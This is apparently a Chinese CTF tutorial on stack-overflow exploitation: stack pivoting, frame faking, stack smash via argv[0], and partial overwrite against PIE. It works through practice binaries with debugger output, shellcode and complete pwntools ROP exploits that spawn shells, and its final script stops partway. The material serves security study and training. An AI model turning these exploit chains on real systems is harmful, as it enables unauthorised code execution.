花式栈溢出技巧

stack pivoting

原理

劫持栈指针指向攻击者所能控制的内存处,然后再在相应的位置进行 ROP。

eip 的值是通过 esp 与 ret 指令压入。退出函数时,先执行 leave ,让 esp 指向 ebp ,然后 esp 加一个机器字长后,执行 ret 指令,将 esp 指向的值压入 eip 中。

可能在以下情况需要使用 stack pivoting

  • 可以控制的栈溢出的字节数较少,难以构造较长的 ROP 链
  • 开启了 PIE 保护,栈地址未知,我们可以将栈劫持到已知的区域。
  • 其它漏洞难以利用,我们需要进行转换,比如说将栈劫持到堆空间,从而在堆上写 rop 及进行堆漏洞利用

使用条件

利用 stack pivoting 有以下几个要求

  • 可以控制程序执行流。
  • 可以控制 sp 指针(栈顶指针)。一般来说,控制栈指针会使用 ROP,常见的控制栈指针的 gadgets 一般是
1
pop rsp/esp

当然,还会有一些其它的姿势。比如说 libc_csu_init 中的 gadgets,我们通过偏移就可以得到控制 rsp 指针。上面的是正常的,下面的是偏移的。

只有是用到了 libc ,编译时 gcc 会将 libc_csu_init 加到程序里。由这个函数也延伸了一种 ROP 技巧:ret2cus

1
2
3
4
5
6
7
8
9
10
11
12
13
14
gef➤  x/7i 0x000000000040061a
0x40061a <__libc_csu_init+90>: pop rbx
0x40061b <__libc_csu_init+91>: pop rbp
0x40061c <__libc_csu_init+92>: pop r12
0x40061e <__libc_csu_init+94>: pop r13
0x400620 <__libc_csu_init+96>: pop r14
0x400622 <__libc_csu_init+98>: pop r15
0x400624 <__libc_csu_init+100>: ret
gef➤ x/7i 0x000000000040061d
0x40061d <__libc_csu_init+93>: pop rsp
0x40061e <__libc_csu_init+94>: pop r13
0x400620 <__libc_csu_init+96>: pop r14
0x400622 <__libc_csu_init+98>: pop r15
0x400624 <__libc_csu_init+100>: ret
  • 存在可以控制内容的内存,一般有如下
    • bss 段。由于进程按页分配内存,分配给 bss 段的内存大小至少一个页 (4k,0x1000) 大小。然而一般 bss 段的内容用不了这么多的空间,并且 bss 段分配的内存页拥有读写权限。
    • heap。但是这个需要我们能够泄露堆地址。

示例

以 [X-CTF Quals 2016 - b0verfl0w](https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/stackoverflow/stackprivot/X-CTF Quals 2016 - b0verfl0w) 为例进行介绍。源程序为 32 位,也没有开启 NX 保护,下面我们来找一下程序的漏洞:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
signed int vul()
{
char s; // [sp+18h] [bp-20h]@1

puts("\n======================");
puts("\nWelcome to X-CTF 2016!");
puts("\n======================");
puts("What's your name?");
fflush(stdout);
fgets(&s, 50, stdin);
printf("Hello %s.", &s);
fflush(stdout);
return 1;
}

存在栈溢出漏洞。但是其所能溢出的字节就只有 50-0x20-4=14 个字节。

程序本身并没有开启堆栈保护,所以我们可以在栈上布置 shellcode 并执行。基本利用思路如下

  • 利用栈溢出布置 shellcode
  • 控制 eip 指向 shellcode 处

由于程序本身会开启 ASLR 保护,所以我们很难直接知道 shellcode 的地址。但是栈上相对偏移是固定的,所以我们可以利用栈溢出对 esp 进行操作,使其指向 shellcode 处,并且直接控制程序跳转至 esp 处。那下面就是找控制程序跳转到 esp 处的 gadgets 了。

1
2
3
4
5
6
7
8
➜  X-CTF Quals 2016 - b0verfl0w git:(iromise) ✗ ROPgadget --binary b0verfl0w --only 'jmp|ret'         
Gadgets information
============================================================
0x08048504 : jmp esp
0x0804836a : ret
0x0804847e : ret 0xeac1

Unique gadgets found: 3

这里我们发现有一个可以直接跳转到 esp 的 gadgets。那么我们可以布置 payload 如下

1
shellcode|padding|fake ebp|0x08048504|set esp point to shellcode and jmp esp

那么我们 payload 中的最后一部分改如何设置 esp 呢,可以知道

  • size(shellcode+padding)=0x20
  • size(fake ebp)=0x4
  • size(0x08048504)=0x4

所以我们最后一段需要执行的指令就是

1
2
sub esp,0x28
jmp esp

所以最后的 exp 如下

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
sh = process('./b0verfl0w')

shellcode_x86 = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode_x86 += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode_x86 += "\x0b\xcd\x80"

sub_esp_jmp = asm('sub esp, 0x28;jmp esp')
jmp_esp = 0x08048504
payload = shellcode_x86 + (
0x20 - len(shellcode_x86)) * 'b' + 'bbbb' + p32(jmp_esp) + sub_esp_jmp
sh.sendline(payload)
sh.interactive()

这里补充一下具体程序过程:

payload 结构如下:

1
shellcode|padding|fake ebp|0x08048504|set esp point to shellcode and jmp esp
  1. 首先就是写入 shellcode 、填充、覆盖 ebp ;
  2. 将 eip 覆盖为 jmp esp;eip 是下一条指令存储寄存器。当程序运行 jmp esp 之后,程序运行指针将从 text 段转移到栈上,将栈上的数据当做代码指令运行。这样操作之后,set esp point to shellcode and jmp esp 这一部分栈数据被当做是代码指令执行了。
  3. sub esp,0x28;jmp esp ;将 esp 调整到 shellcode 的开始,当前 esp 和shellcode 的计算看前面;然后再一次 jmp esp ,将运行指针调整到 shellcode 。

frame faking

也就是栈迁移

原理

概括地讲,我们在之前讲的栈溢出不外乎两种方式

  • 控制程序 EIP
  • 控制程序 EBP

其最终都是控制程序的执行流。在 frame faking 中,我们所利用的技巧便是同时控制 EBP 与 EIP,这样我们在控制程序执行流的同时,也改变程序栈帧的位置。一般来说其 payload 如下

1
buffer padding|fake ebp|leave ret addr|

即我们利用栈溢出将栈上构造为如上格式。这里我们主要讲下后面两个部分

  • 函数的返回地址被我们覆盖为执行 leave ret 的地址,这就表明了函数在正常执行完自己的 leave ret 后,还会再次执行一次 leave ret。
  • 其中 fake ebp 为我们构造的栈帧的基地址,需要注意的是这里是一个地址。一般来说我们构造的假的栈帧如下
1
2
3
4
fake ebp
|
v
ebp2|target function addr|leave ret addr|arg1|arg2

这里我们的 fake ebp 指向 ebp2,即它为 ebp2 所在的地址。通常来说,这里都是我们能够控制的可读的内容。

leave 指令相当于

1
2
mov esp, ebp # 将ebp的值赋给esp
pop ebp # 弹出ebp

控制过程

仔细说一下基本的控制过程:

  1. 在有栈溢出的程序执行 leave 时,其分为两个步骤
    • mov esp, ebp ,这会将 esp 也指向当前栈溢出漏洞的 ebp 基地址处。
    • pop ebp, 这会将栈中存放的 fake ebp 的值赋给 ebp。即执行完指令之后,ebp 便指向了 ebp2,也就是保存了 ebp2 所在的地址。
  2. 执行 ret 指令,会再次执行(溢出写入的) leave ret 指令。
  3. 执行 leave 指令,其分为两个步骤
    • mov esp, ebp ,这会将 esp 指向 ebp2。
    • pop ebp,此时,会将 ebp 的内容设置为 ebp2 的值,同时 esp 会指向 target function。
  4. 执行 ret 指令,这时候程序就会执行 target function,当其进行程序的时候会执行
    • push ebp,会将 ebp2 值压入栈中,
    • mov ebp, esp,将 ebp 指向当前基地址。

此时的栈结构如下

1
2
3
4
ebp
|
v
ebp2|leave ret addr|arg1|arg2
  1. 当程序执行时,其会正常申请空间,同时我们在栈上也安排了该函数对应的参数,所以程序会正常执行。
  2. 程序结束后,其又会执行两次 leave ret addr,所以如果我们在 ebp2 处布置好了对应的内容,那么我们就可以一直控制程序的执行流程。

可以看出在 fake frame 中,我们有一个需求就是,我们必须得有一块可以写的内存,并且我们还知道这块内存的地址,这一点与 stack pivoting 相似(通过偏移获取栈上地址)。

例题

2018 安恒杯 over

题目可以在 ctf-challenge 中找到

分析
文件信息
1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE

64 位动态链接的程序, 没有开 PIE 和 canary 保护, 但开了 NX 保护

漏洞函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
while ( sub_400676() )
;
return 0LL;
}

int sub_400676()
{
char buf[80]; // [rsp+0h] [rbp-50h]

memset(buf, 0, sizeof(buf));
putchar('>');
read(0, buf, 96uLL);
return puts(buf);
}

read 能读入 96 位, 但 buf 的长度只有 80, 因此只能覆盖 rbp 以及 ret addr 来进行 rop 了

思路

当栈溢出长度不够时,可以尝试 frame faking (栈迁移)。这就需要一个能被我们写入、知道地址的内存。这条题目的话,我们只能往栈上写入数据,所以想办法泄露栈地址。

leak stack addr

栈地址每次运行都不一样,需要控制程序来泄露栈地址。这条题目没有开 canary ,然后在 IDA 或者 gdb 分析 sub_400676 的栈结构,发现 buf 覆盖 80 字节之后,就到 rbp 顶,读入的 read 也没有给字符串末尾接上 \x00 的结束符,所以可以将 ebp 的值泄露出来。

ebp 的值是上一个栈的栈顶,泄露之后通过偏移计算得到 buf 写入的栈地址。gdb 调试后,得出偏移为 0x70

1
2
3
4
# leak ebp
p.sendafter(">",'A'*0x50)
stack = u64(p.recvuntil("\x7f")[-6: ].ljust(8, '\0'))-0x70
log.info("stack:"+hex(stack))
leak libc

然后就是构造 ROP 链,因为可控写入是在栈上,所以构造如下:

1
ROP|padding|fake ebp|leave ret addr|

leave ret addr 就用 ROPgadget 找一下:

1
2
3
4
5
6
~$ ROPgadget --binary over.over --only 'leave|ret'
Gadgets information
============================================================
0x00000000004006be : leave ; ret
0x0000000000400509 : ret
0x00000000004007d0 : ret 0xfffe

fake ebp 填入 buf 的真实地址。

ROP 两个功能:泄露 libc 地址、ret2text。泄露地址就用常规的 puts 函数。

1
2
3
4
5
6
# leak libc
payload = p64(0xdeadbeef) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt)
payload += p64(sub_addr) # ret2text
payload = payload.ljust(0x50,'a') # padding
payload += p64(stack)
payload += p64(leave_ret)
getshell

泄露地址之后就再一次 frame faking ,只不过这次是执行 system("/bin/sh")

但是如果 fake ebp 依旧填写原值会报错,大概原因是因为上面 ROP 是直接调用 sub_400676 ,想比正常情况下压栈的数量和原来不一样,所以要重新计算偏移。

fake ebp 使用 ROP1 的值时:

1
2
3
4
5
6
7
8
pwndbg> 
0x00000000004006be in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────[ REGISTERS ]─────
…………
RBP 0x7fffffffdd50 —▸ 0x7fffffffdd30 ◂— 0x6161616161616161 ('aaaaaaaa')
RSP 0x7fffffffdd00 ◂— 0xdeadbeef
RIP 0x4006be ◂— leave

可以看到 RBP 经过两次 leave|ret 之后指向的是 aaaaaaaa ,正常应该是指向 0xdeadbeef 。

为了让程序执行正确地方,将 fake ebp 的值减 0x30 ,让 ebp 重新指向 0xdeadbeef :

1
2
3
4
5
6
7
8
9
10
11
pwndbg> x /20gx 0x7fffffffdd30-0x30
0x7fffffffdd00: 0x00000000deadbeef 0x0000000000400793
0x7fffffffdd10: 0x00007ffff7b99d57 0x00007ffff7a52390
0x7fffffffdd20: 0x0000000000400676 0x6161616161616161
0x7fffffffdd30: 0x6161616161616161 0x6161616161616161
0x7fffffffdd40: 0x6161616161616161 0x6161616161616161
0x7fffffffdd50: 0x00007fffffffdd30 0x00000000004006be
0x7fffffffdd60: 0x6161616161616161 0x6161616161616161
0x7fffffffdd70: 0x6161616161616161 0x6161616161616161
0x7fffffffdd80: 0x00007fffffffdd30 0x00000000004006be
0x7fffffffdd90: 0x00007fffffffde88 0x0000000100000000
1
2
3
4
5
payload = p64(0xdeadbeef) + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)
payload += p64(sub_addr) # ret2text
payload = payload.ljust(0x50,'a') # padding
payload += p64(stack)
payload += p64(leave_ret)
exp

system(‘/bin/sh’)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import *

context.log_level = 'debug'

p = process("./over.over")
elf = ELF("./over.over")
libc = elf.libc

pop_rdi = 0x400793
leave_ret = 0x4006be
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
sub_addr = 0x400676

# leak ebp
p.sendafter(">",'A'*0x50)
stack = u64(p.recvuntil("\x7f")[-6: ].ljust(8, '\0'))-0x70
log.info("stack:"+hex(stack))

# leak libc
payload = p64(0xdeadbeef) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt)
payload += p64(sub_addr) # ret2text
payload = payload.ljust(0x50,'a') # padding
payload += p64(stack)
payload += p64(leave_ret)
p.sendafter(">",payload)

libc_base = u64(p.recvuntil("\x7f")[-6: ].ljust(8, '\0')) - libc.sym['puts']
log.success("libc_base:"+hex(libc_base))
system_addr = libc_base + libc.symbols['system']
log.success("system_addr:"+hex(system_addr))
binsh_addr = libc_base + libc.search('/bin/sh').next()
log.success("binsh_addr:"+hex(binsh_addr))

# system('/bin/sh')
payload = p64(0xdeadbeef) + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)
payload += p64(sub_addr) # ret2text
payload = payload.ljust(0x50,'a') # padding
payload += p64(stack)
payload += p64(leave_ret)
gdb.attach(p)
p.sendafter(">",payload)

p.interactive()

execve(“/bin/sh”, 0, 0)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *
context.binary = "./over.over"

def DEBUG(cmd):
raw_input("DEBUG: ")
gdb.attach(io, cmd)

io = process("./over.over")
elf = ELF("./over.over")
libc = elf.libc

io.sendafter(">", 'a' * 80)
stack = u64(io.recvuntil("\x7f")[-6: ].ljust(8, '\0')) - 0x70
success("stack -> {:#x}".format(stack))


# DEBUG("b *0x4006B9\nc")
io.sendafter(">", flat(['11111111', 0x400793, elf.got['puts'], elf.plt['puts'], 0x400676, (80 - 40) * '1', stack, 0x4006be]))
libc.address = u64(io.recvuntil("\x7f")[-6: ].ljust(8, '\0')) - libc.sym['puts']
success("libc.address -> {:#x}".format(libc.address))

pop_rdi_ret=0x400793
'''
$ ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 --only "pop|ret"
0x00000000000f5279 : pop rdx ; pop rsi ; ret
'''
pop_rdx_pop_rsi_ret=libc.address+0xf5279

payload=flat(['22222222', pop_rdi_ret, next(libc.search("/bin/sh")),pop_rdx_pop_rsi_ret,p64(0),p64(0), libc.sym['execve'], (80 - 7*8 ) * '2', stack - 0x30, 0x4006be])

io.sendafter(">", payload)

io.interactive()

Stack smash

原理

在程序加了 canary 保护之后,当 canary 值变化后,程序会错误退出并提示错误信息,通常是说 xxx(程序名) 段错误。

stack smash 技巧则就是利用打印这一信息的程序来得到我们想要的内容。这是因为在程序启动 canary 保护之后,如果发现 canary 被修改的话,程序就会执行 __stack_chk_fail 函数来打印 argv[0] 指针所指向的字符串,正常情况下,这个指针指向了程序名。其代码如下

1
2
3
4
5
6
7
8
9
10
11
void __attribute__ ((noreturn)) __stack_chk_fail (void)
{
__fortify_fail ("stack smashing detected");
}
void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{
/* The loop is added only to keep gcc happy. */
while (1)
__libc_message (2, "*** %s ***: %s terminated\n",
msg, __libc_argv[0] ?: "<unknown>");
}

所以说如果我们利用栈溢出覆盖 argv[0] 为我们想要输出的字符串的地址,那么在 __fortify_fail 函数中就会输出我们想要的信息。

32C3 CTF readme

该题目在 jarvisoj 上有复现。

确定保护

可以看出程序为 64 位,主要开启了 Canary 保护以及 NX 保护,以及 FORTIFY 保护。

1
2
3
4
5
Arch:     amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

分析程序

ida 看一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
__int64 sub_4007E0()
{
__int64 v0; // rax@1
__int64 v1; // rbx@2
int v2; // eax@3
__int64 v4; // [sp+0h] [bp-128h]@1
__int64 v5; // [sp+108h] [bp-20h]@1

v5 = *MK_FP(__FS__, 40LL);
__printf_chk(1LL, (__int64)"Hello!\nWhat's your name? ");
LODWORD(v0) = _IO_gets((__int64)&v4);
if ( !v0 )
LABEL_9:
_exit(1);
v1 = 0LL;
__printf_chk(1LL, (__int64)"Nice to meet you, %s.\nPlease overwrite the flag: ");
while ( 1 )
{
v2 = _IO_getc(stdin);
if ( v2 == -1 )
goto LABEL_9;
if ( v2 == '\n' )
break;
byte_600D20[v1++] = v2;
if ( v1 == ' ' )
goto LABEL_8;
}
memset((void *)((signed int)v1 + 0x600D20LL), 0, (unsigned int)(32 - v1));
LABEL_8:
puts("Thank you, bye!");
return *MK_FP(__FS__, 40LL) ^ v5;
}

_IO_gets((__int64)&v4) 存在栈溢出。

程序中还提示要 overwrite flag。而且发现程序很有意思的在 while 循环之后执行了这条语句

1
memset((void *)((signed int)v1 + 0x600D20LL), 0, (unsigned int)(32 - v1));

又看了看对应地址的内容,可以发现如下内容,说明程序的 flag 就在这里。

1
2
.data:0000000000600D20 ; char aPctfHereSTheFl[]
.data:0000000000600D20 aPctfHereSTheFl db 'PCTF{Here',27h,'s the flag on server}',0

但是如果我们直接利用栈溢出输出该地址的内容是不可行的,这是因为我们读入的内容 byte_600D20[v1++] = v2;也恰恰就是该块内存,这会直接将其覆盖掉,这时候我们就需要利用一个技巧了

  • 在 ELF 内存映射时,bss 段会被映射两次,所以我们可以使用另一处的地址来进行输出,可以使用 gdb 的 find 来进行查找。

确定 flag 地址

我们把断点下载 memset 函数(0x400873)处,然后读取相应的内容如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
pwndbg> b *0x400873
Breakpoint 1 at 0x400873
pwndbg> r
Starting program: /home/skye/readme.bin
Hello!
What's your name? aaaaaaaa
Nice to meet you, aaaaaaaa.
Please overwrite the flag: bbbbbbbb

Breakpoint 1, 0x0000000000400873 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────────────────────────────────────────[ REGISTERS ]────────────────────────────────────────────────────────────────────────────
RAX 0xa
RBX 0x8
RCX 0x7ffff7b04260 (__read_nocancel+7) ◂— cmp rax, -0xfff
RDX 0x18
# flag 存放地址
RDI 0x600d28 ◂— 'ServerHasTheFlagHere...'
RSI 0x0
R8 0x7ffff7fdd700 ◂— 0x7ffff7fdd700
R9 0x7ffff7fdd700 ◂— 0x7ffff7fdd700
R10 0x814
R11 0x246
R12 0x4006ee ◂— xor ebp, ebp
R13 0x7fffffffdd70 ◂— 0x1
R14 0x0
R15 0x0
RBP 0x4008b0 ◂— push r15
RSP 0x7fffffffdb60 ◂— 'aaaaaaaa'
RIP 0x400873 ◂— call 0x400670
─────────────────────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────────────────────
► 0x400873 call memset@plt <0x400670>
# flag 存放地址
s: 0x600d28 ◂— 'ServerHasTheFlagHere...'
c: 0x0
n: 0x18

0x400878 mov edi, 0x40094e
0x40087d call puts@plt <0x400640>

0x400882 mov rax, qword ptr [rsp + 0x108]
0x40088a xor rax, qword ptr fs:[0x28]
0x400893 jne 0x4008a9

0x400895 add rsp, 0x118
0x40089c pop rbx
0x40089d pop rbp
0x40089e ret

0x40089f mov edi, 1
──────────────────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────────────────
# name 存放地址
00:0000│ rsp 0x7fffffffdb60 ◂— 'aaaaaaaa'
01:0008│ 0x7fffffffdb68 —▸ 0x7ffff7ffd900 (_rtld_global+2240) ◂— 0x0
02:0010│ 0x7fffffffdb70 —▸ 0x7ffff7fdd700 ◂— 0x7ffff7fdd700
03:0018│ 0x7fffffffdb78 ◂— 0x0
04:0020│ 0x7fffffffdb80 —▸ 0x7ffff7ffea88 —▸ 0x7ffff7ffe9b8 —▸ 0x7ffff7ffe728 —▸ 0x7ffff7ffe700 ◂— ...
05:0028│ 0x7fffffffdb88 —▸ 0x7fffffffdbc0 ◂— 0x2
06:0030│ 0x7fffffffdb90 ◂— 0x380
07:0038│ 0x7fffffffdb98 —▸ 0x7fffffffdbb0 ◂— 0xffffffff

从 18 行或 33 行可以得出 flag 存放地址为:0x600d28 。另外一个 bss 段内的 flag 地址使用 peda find 功能查找,两个 flag 地址分别为: 0x600d28 、0x400d28。

这里需要减去偏移(被 name 覆盖了 0x7 )才能得到完整 flag ,所以两个 flag 地址为:0x600d21 、0x400d21

1
2
3
4
5
6
7
8
9
10
gdb-peda$ find Serv
Searching for 'Serv' in: None ranges
Found 6 results, display max 6 items:
readme.bin : 0x400d28 ("ServerHasTheFlagHere...")
readme.bin : 0x600d28 ("ServerHasTheFlagHere...")
libc : 0x7ffff7b97641 ("Servname not supported for ai_socktype")
libc : 0x7ffff7b9924c ("Server rejected credential")
libc : 0x7ffff7b9927f ("Server rejected verifier")
libc : 0x7ffff7b994af ("Server can't decode arguments")

确定偏移

下面,我们确定 argv[0] 距离读取的字符串的偏移。

首先下断点在 main 函数入口处,如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
gef➤  b *0x00000000004006D0
Breakpoint 1 at 0x4006d0
gef➤ r
Starting program: /mnt/hgfs/Hack/ctf/ctf-wiki/pwn/stackoverflow/example/stacksmashes/smashes

Breakpoint 1, 0x00000000004006d0 in ?? ()
code:i386:x86-64 ]────
0x4006c0 <_IO_gets@plt+0> jmp QWORD PTR [rip+0x20062a] # 0x600cf0 <[email protected]>
0x4006c6 <_IO_gets@plt+6> push 0x9
0x4006cb <_IO_gets@plt+11> jmp 0x400620
→ 0x4006d0 sub rsp, 0x8
0x4006d4 mov rdi, QWORD PTR [rip+0x200665] # 0x600d40 <stdout>
0x4006db xor esi, esi
0x4006dd call 0x400660 <setbuf@plt>
──────────────────────────────────────────────────────────────────[ stack ]────
['0x7fffffffdb78', 'l8']
8
0x00007fffffffdb78│+0x00: 0x00007ffff7a2d830 → <__libc_start_main+240> mov edi, eax ← $rsp
0x00007fffffffdb80│+0x08: 0x0000000000000000
0x00007fffffffdb88│+0x10: 0x00007fffffffdc58 → 0x00007fffffffe00b → "/mnt/hgfs/Hack/ctf/ctf-wiki/pwn/stackoverflow/exam[...]"
0x00007fffffffdb90│+0x18: 0x0000000100000000
0x00007fffffffdb98│+0x20: 0x00000000004006d0 → sub rsp, 0x8
0x00007fffffffdba0│+0x28: 0x0000000000000000
0x00007fffffffdba8│+0x30: 0x48c916d3cf726fe3
0x00007fffffffdbb0│+0x38: 0x00000000004006ee → xor ebp, ebp
──────────────────────────────────────────────────────────────[ trace ]────
[#0] 0x4006d0 → sub rsp, 0x8
[#1] 0x7ffff7a2d830 → Name: __libc_start_main(main=0x4006d0, argc=0x1, argv=0x7fffffffdc58, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffdc48)
---Type <return> to continue, or q <return> to quit---
[#2] 0x400717 → hlt

可以看出 0x00007fffffffe00b 指向程序名,其自然就是 argv[0],所以我们修改的内容就是这个地址。同时 0x00007fffffffdc58 处保留着该地址,所以我们真正需要的是 0x00007fffffffdc58 的值。

argv[0] 读入方式看 16 行,系统到 0x00007fffffffdc58 找到地址,然后取地址的值。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────────────────────────────────────────
RAX 0x7fffffffdda8 —▸ 0x400d21 ◂— xor al, byte ptr [rbx + 0x33] /* '2C3_TheServerHasTheFlagHere...' */
RBX 0x1
RCX 0x0
RDX 0x7ffff7b9c481 ◂— jae 0x7ffff7b9c4f7 /* 'stack smashing detected' */
RDI 0x1
RSI 0x7ffff7b9c49f ◂— sub ch, byte ptr [rdx] /* '*** %s ***: %s terminated\n' */
……
RBP 0x7ffff7b9c481 ◂— jae 0x7ffff7b9c4f7 /* 'stack smashing detected' */
RSP 0x7fffffffdb60 ◂— 0x4
RIP 0x7ffff7b2614b (__fortify_fail+75) ◂— mov rcx, qword ptr [rax]
──────────────────────────────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────────────────────────────
……
0x7ffff7b26146 <__fortify_fail+70> mov rdx, rbp
0x7ffff7b26149 <__fortify_fail+73> mov edi, ebx
► 0x7ffff7b2614b <__fortify_fail+75> mov rcx, qword ptr [rax]
……

剩下就是找到溢出点写入字符串的栈地址,在[确定 flag 地址](# 确定 flag 地址) 中的第一个调试中的 53 行找到 name 存放地址:0x7fffffffdb60

利用程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *

context.log_level = 'debug'

p =process("./readme.bin")

flag1 = 0x600d21
flag2 = 0x400d21

argv0 = 0x7fffffffdd78
name = 0x7fffffffdb60#0x7fffffffdca8

payload = 'a'*(argv0-name)
payload += p64(flag2)

p.recvuntil("name? ")
gdb.attach(p)
p.sendline(payload)

p.recvuntil("flag: ")
p.sendline("skye")

data = p.recv()
p.interactive()

栈上的 partial overwrite

partial overwrite 这种技巧在很多地方都适用, 这里先以栈上的 partial overwrite 为例来介绍这种思想。

我们知道, 在开启了随机化(ASLR,PIE)后, 无论高位的地址如何变化,低 12 位的页内偏移始终是固定的, 也就是说如果我们能更改低位的偏移, 就可以在一定程度上控制程序的执行流, 绕过 PIE 保护。

更全面的 PIE 保护绕过看萝卜师傅的:PIE保护详解和常用bypass手段

2018 - 安恒杯 - babypie

以安恒杯 2018 年 7 月月赛的 babypie 为例分析这一种利用技巧, 题目的 binary 放在了 ctf-challenge

保护

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

分析程序

明显的栈溢出漏洞, 需要注意的是在输入之前, 程序对栈空间进行了清零, 这样我们就无法通过打印栈上信息来 leak binary 或者 libc 的基址了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
__int64 sub_960()
{
__int128 name; // [rsp+0h] [rbp-30h]
__int128 v2; // [rsp+10h] [rbp-20h]
unsigned __int64 v3; // [rsp+28h] [rbp-8h]

v3 = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(_bss_start, 0LL, 2, 0LL);
name = 0uLL;
v2 = 0uLL;
puts("Input your Name:");
read(0, &name, 0x30uLL); // 栈溢出
printf("Hello %s:\n", &name, name, v2);
read(0, &name, 0x60uLL); // 栈溢出
return 0LL;
}

程序有留有后门 sub_A3E 。

思路

泄露 libc 地址的话,就需要将栈上最近的 libc 地址前的 \x00 覆盖掉。而最近的 libc 地址(__libc_start_main+240)需要覆盖 0x58 ,显然溢出长度不够。

所以选择控制 rip 跳转到后门函数。程序开启了 PIE 和 Canary 栈溢出保护,首先是泄露出 canary 值,然后再次栈溢出控制 rip 跳转。

leak canary

sub_960 栈结构在 ida 中分析如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
0000000000000030 name            xmmword ?
-0000000000000020 var_20 xmmword ?
-0000000000000010 db ? ; undefined
-000000000000000F db ? ; undefined
-000000000000000E db ? ; undefined
-000000000000000D db ? ; undefined
-000000000000000C db ? ; undefined
-000000000000000B db ? ; undefined
-000000000000000A db ? ; undefined
-0000000000000009 db ? ; undefined
-0000000000000008 var_8 dq ?
+0000000000000000 s db 8 dup(?)
+0000000000000008 r db 8 dup(?)

在第一个输入 name 时,可以写入 0x29 字节,输出名字时会将 canary 也一起输出。

1
2
3
4
5
6
7
payload = 'a'*(0x30-0x8+1)

p.recvuntil("Name:\n")
p.send(payload)
p.recvuntil('a'*(0x30-0x8+1))
canary = u64(p.recv(7).rjust(8,'\x00'))
log.info("canary:"+hex(canary))
partial overwrite

虽然程序开启了 PIE ,但是由于低 12 位的页内偏移是固定的,也就 ida 中能看到的部分,这条题就是低三位。

后门函数的地址为:0xA3E。由于输入的时候是一个字节,也就是 0x3E 这样输入,但是第 4 个数字是随机的,所以我们需要找一个跳转 text 段、**第三位是 A **的rip 进行覆盖。

我们写入 name 的函数运行结束后会返回 main 函数,main 函数在 text 段((0x555555554a3e):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
pwndbg> 
0x0000555555554a3d in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────[ REGISTERS ]──────────────────────────────────
RAX 0x0
RBX 0x0
RCX 0x0
RDX 0x60
RDI 0x0
RSI 0x7fffffffdc80 ◂— 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'
R8 0x7ffff7fdd700 ◂— 0x7ffff7fdd700
R9 0x3e
R10 0x36
R11 0x346
R12 0x555555554830 ◂— xor ebp, ebp
R13 0x7fffffffddb0 ◂— 0x1
R14 0x0
R15 0x0
RBP 0xdeadbeef
RSP 0x7fffffffdcb8 —▸ 0x555555554a3e ◂— push rbp
RIP 0x555555554a3d ◂— ret
───────────────────────────────────[ DISASM ]───────────────────────────────────
0x555555554a23 mov eax, 0
0x555555554a28 mov rcx, qword ptr [rbp - 8]
0x555555554a2c xor rcx, qword ptr fs:[0x28]
0x555555554a35 je 0x555555554a3c

0x555555554a3c leave

所以在第二次输入 name 时溢出覆盖 rip 最后一个字节:

1
2
3
4
payload = 'a'*(0x30-0x8)
payload += p64(canary)
payload += p64(0xdeadbeef)
payload += '\x3e'

利用程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *

context.log_level = 'debug'

p = process("./babypie")
elf = ELF("./babypie")

getshell = 0xA3E

payload = 'a'*(0x30-0x8+1)

p.recvuntil("Name:\n")
p.send(payload)
p.recvuntil('a'*(0x30-0x8+1))
canary = u64(p.recv(7).rjust(8,'\x00'))
